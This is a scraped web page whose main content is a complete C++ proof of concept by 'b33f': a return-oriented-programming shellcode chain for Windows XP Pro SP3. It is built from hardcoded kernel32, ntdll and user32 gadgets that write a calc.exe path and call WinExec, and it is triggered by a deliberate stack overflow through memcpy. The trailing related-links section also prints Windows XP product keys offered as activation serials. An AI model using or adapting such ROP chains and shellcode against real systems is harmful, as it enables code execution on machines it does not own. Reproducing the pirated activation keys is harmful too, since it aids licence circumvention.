Windows XP PRO SP3 - Full ROP calc shellcode
/*
Shellcode: Windows XP PRO SP3 - Full ROP calc shellcode
Author: b33f (http://www.fuzzysecurity.com/)
Notes: This is probably not the most efficient way but
I gave the dll's a run for their money ;))
Greets: Donato, Jahmel
OS-DLL's used:
Base | Top | Size | Version (Important!)
___________|____________|____________|_____________________________
0x7c800000 | 0x7c8f6000 | 0x000f6000 | 5.1.2600.5781 [kernel32.dll]
0x7c900000 | 0x7c9b2000 | 0x000b2000 | 5.1.2600.6055 [ntdll.dll]
0x7e410000 | 0x7e4a1000 | 0x00091000 | 5.1.2600.5512 [USER32.dll]
UINT WINAPI WinExec( => PTR to WinExec
__in LPCSTR lpCmdLine, => C:\WINDOWS\system32\calc.exe+00000000
__in UINT uCmdShow => 0x1
);
*/
#include <iostream>
#include "windows.h"
char
shellcode[]=
"\xb1\x4f\x97\x7c"
// POP ECX # RETN
"\xf9\x10\x47\x7e"
// Writable PTR USER32.dll
"\x27\xfa\x87\x7c"
// POP EDX # POP EAX # RETN
"\x43\x3a\x5c\x57"
// ASCII "C:\W"
"\x49\x4e\x44\x4f"
// ASCII "INDO"
"\x04\x18\x80\x7c"
// MOV DWORD PTR DS:[ECX],EDX # MOV DWORD PTR DS:[ECX+4],EAX # POP EBP # RETN 04
"\x8a\x20\x87\x7c"
// Compensate POP
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\xe5\x02\x88\x7c"
// POP EAX # RETN
"\x57\x53\x5c\x73"
// ASCII "WS\s"
"\x38\xd6\x46\x7e"
// MOV DWORD PTR DS:[ECX+8],EAX # POP ESI # POP EBP # RETN 08
"\x8a\x20\x87\x7c"
// Compensate POP
"\x8a\x20\x87\x7c"
// Compensate POP
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\xe5\x02\x88\x7c"
// POP EAX # RETN
"\x79\x73\x74\x65"
// ASCII "yste"
"\xcb\xbe\x45\x7e"
// MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08
"\x8a\x20\x87\x7c"
// Compensate POP
"\x8a\x20\x87\x7c"
// Compensate POP
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\xe5\x02\x88\x7c"
// POP EAX # RETN
"\x63\x61\x6c\x63"
// ASCII "calc"
"\x31\xa9\x91\x7c"
// MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
"\x8a\x20\x87\x7c"
// Compensate POP
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x07\x3d\x96\x7c"
// INC ECX # RETN
"\x07\x3d\x96\x7c"
// INC ECX # RETN
"\x07\x3d\x96\x7c"
// INC ECX # RETN
"\x07\x3d\x96\x7c"
// INC ECX # RETN
"\xe5\x02\x88\x7c"
// POP EAX # RETN
"\x6d\x33\x32\x5c"
// ASCII "m32\"
"\xcb\xbe\x45\x7e"
// MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08
"\x8a\x20\x87\x7c"
// Compensate POP
"\x8a\x20\x87\x7c"
// Compensate POP
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\xe5\x02\x88\x7c"
// POP EAX # RETN
"\x2e\x65\x78\x65"
// ASCII ".exe"
"\x31\xa9\x91\x7c"
// MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
"\x8a\x20\x87\x7c"
// Compensate POP
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x07\x3d\x96\x7c"
// INC ECX # RETN
"\x07\x3d\x96\x7c"
// INC ECX # RETN
"\x07\x3d\x96\x7c"
// INC ECX # RETN
"\x07\x3d\x96\x7c"
// INC ECX # RETN
"\x9e\x2e\x92\x7c"
// XOR EAX,EAX # RETN
"\x31\xa9\x91\x7c"
// MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
"\x8a\x20\x87\x7c"
// Compensate POP
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\xee\x4c\x97\x7c"
// DEC ECX # RETN
"\xee\x4c\x97\x7c"
// DEC ECX # RETN
"\xee\x4c\x97\x7c"
// DEC ECX # RETN
"\xee\x4c\x97\x7c"
// DEC ECX # RETN
"\xee\x4c\x97\x7c"
// DEC ECX # RETN
"\xee\x4c\x97\x7c"
// DEC ECX # RETN
"\xee\x4c\x97\x7c"
// DEC ECX # RETN
"\xee\x4c\x97\x7c"
// DEC ECX # RETN
//-------------------------------------------["C:\WINDOWS\system32\calc.exe+00000000" -> ecx]-//
"\xe5\x02\x88\x7c"
// POP EAX # RETN
"\x7a\xeb\xc3\x6f"
// Should result in a valid PTR in kernel32.dll
"\x4f\xda\x85\x7c"
// PUSH ESP # ADC BYTE PTR DS:[EAX+CC4837C],AL # XOR EAX,EAX # INC EAX # POP EDI # POP EBP # RETN 08
"\x8a\x20\x87\x7c"
// Compensate POP
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x32\xd9\x44\x7e"
// XCHG EAX,EDI # RETN
"\x62\x28\x97\x7c"
// ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c"
// Compensate POP
"\x62\x28\x97\x7c"
// ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c"
// Compensate POP
"\x62\x28\x97\x7c"
// ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c"
// Compensate POP
"\x62\x28\x97\x7c"
// ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c"
// Compensate POP
//-----------------------------------------------------------[Save Stack Pointer + pivot eax]-//
"\xd6\xd1\x95\x7c"
// MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04
"\x8a\x20\x87\x7c"
// Compensate POP
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x33\x80\x97\x7c"
// INC EAX # RETN
"\x33\x80\x97\x7c"
// INC EAX # RETN
"\x33\x80\x97\x7c"
// INC EAX # RETN
"\x33\x80\x97\x7c"
// INC EAX # RETN
"\xf5\xd6\x91\x7c"
// XOR ECX,ECX # RETN
"\x07\x3d\x96\x7c"
// INC ECX # RETN
"\xd6\xd1\x95\x7c"
// MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04
"\x8a\x20\x87\x7c"
// Compensate POP
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\xb1\x4f\x97\x7c"
// POP ECX # RETN
"\xed\x2a\x86\x7c"
// WinExec()
"\xe7\xc1\x87\x7c"
// MOV DWORD PTR DS:[EAX+4],ECX # XOR EAX,EAX # POP EBP # RETN 04
"\x8a\x20\x87\x7c"
// Compensate POP
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Compensate RETN
"\x8a\x20\x87\x7c"
// Final RETN for WinExec()
"\x8a\x20\x87\x7c"
;
// Compensate WinExec()
//------------------------------------------------------[Write Arguments and execute -> calc]-//
void
buff() {
char
a;
memcpy
((&a)+5, shellcode,
sizeof
(shellcode));
// Compiler dependent, works with Dev-C++ 4.9
}
int
main()
{
LoadLibrary(
"USER32.dll"
);
// we need this dll
char
buf[1024];
buff();
return
0;
}
Windows XP PRO SP3 - Full ROP calc shellcode的更多相关文章
- 原版Windows XP Pro With SP3 VOL MSDN简体中文专业版
2008年5月2日,微软推出Windows XP Pro With SP3 VOL MSDN x86 32位简体中文专业版,这是最经典也是我最喜爱的操作系统之一.在MSDN(微软开发者网络)的网站上查 ...
- Windows XP with SP3大客户免激活日文版
原贴地址:http://www.humin.com.cn/ja_windows_xp_professional_with_service_pack_3_x86_dvd_vl_x14-74058-iso ...
- Microsoft Windows XP SP3 官方原版镜像下载,绝对原版加系列号!
转:http://blog.sina.com.cn/s/blog_638c2e010100op5z.html 写在前面:1. VOL是Volume Licensing for Organization ...
- 最新的windows xp sp3序列号 xp序列号
最新的windows xp sp3序列号(绝对可通过正版验证) MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推此号) QC986-27D34-6M3TY-JJXP9- ...
- 最新的windows xp sp3序列号(绝对可通过正版验证)
MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推此号) QC986-27D34-6M3TY-JJXP9-TBGMD(台湾交大学生版) 可用 CM3HY-26VYW-6J ...
- 在虚拟机安装windows xp时所需要的序列号
最新的windows xp sp3序列号 xp序列号 最新的windows xp sp3序列号(绝对可通过正版验证) MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推 ...
- Windows XP系列全下载(均为MSDN原版)
正版windows xp sp3 下载大全(附:正版密钥) 微软MSDN Windows XP Professional下载 Windows XP Professional 简体中文 (最原始版本,无 ...
- Windows XP与Windows 7系统常见漏洞
1.Windows XP系统常见漏洞 Windows XP系统常见的漏洞有UPNP服务漏洞.升级程序漏洞.帮助和支持中心漏洞.压缩文件夹漏洞.服务拒绝漏洞.Windows Media Player漏洞 ...
- Windows XP Professional产品序列号
BX6HT-MDJKW-H2J4X-BX67W-TVVFG产品密钥:FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8产品密钥:CCC64-69Q48-Y3KWW-8V9GV-TVKRM Wi ...
随机推荐
- mysql 并发控制
1.多个线程同时修改数据,存在数据不一致的情况,也就是并发控制的问题.2.mysql提供读锁和写锁,读锁之上可以再加读锁,不能加写锁,而写锁之上不能加任何锁.也就是说,读锁是共享的,写锁是排他的.3. ...
- html5 和css3的小知识!
阿里web字体的使用 (1)进入官网 点击webfont (2)输入对应的文字 然后选择添加字体 (3)可以直接引用线上地址或者本地下载,引用线上地址需要添加http,(在服务器环境下可以不用),如 ...
- 正则表达式使用(Js、Java)
Js中全局替换,需要在最后加上g(global),并且使用//包围起来 1.全局替换字符+ 和 只替换第一个字符+ alert("2014+03-22++aaaa".replace ...
- SenchaTouch介绍和Sencha Architect介绍以及安装
一.SenchaTouch介绍 Sencha Touch框架是世界上第一个基于HTML 5的Mobile App框架. 在Sencha Touch这个名词中,包括了两个组成部分,其中Sencha的前身 ...
- 反射-优化及程序集等(用委托的方式调用需要反射调用的方法(或者属性、字段),而不去使用Invoke方法)
反射-优化及程序集等(用委托的方式调用需要反射调用的方法(或者属性.字段),而不去使用Invoke方法) 创建Delegate (1).Delegate.CreateDelegate(Type, ...
- 资源 之 4.4 Resource通配符路径(拾贰)
4.4.1 使用路径通配符加载Resource 前面介绍的资源路径都是非常简单的一个路径匹配一个资源,Spring还提供了一种更强大的Ant模式通配符匹配,从能一个路径匹配一批资源. Ant路径通配 ...
- Laravel 分页详解
Laravel分页很简单,但功能又很强大噢! 首先在控制器的方法中使用paginate(页面显示条数)方法,传入页面显示的条数 然后在模板页面使用方法render()来生成html元素 appends ...
- python 练习 30
Python从设计之初就已经是一门面向对象的语言,正因为如此,在Python中创建一个类和对象是很容易的.本章节我们将详细介绍Python的面向对象编程. 如果你以前没有接触过面向对象的编程语言,那你 ...
- python 练习 19
#!/usr/bin/python # -*- coding: UTF-8 -*- for n in range(100,1000): i = n / 100 j = n / 10 % 10 k = ...
- Rectangle Intersection Test (with C#)
Rectangle Intersection Test (with C#) by Sebastian Krysmanskihttp://manski.net/2011/05/rectangle-int ...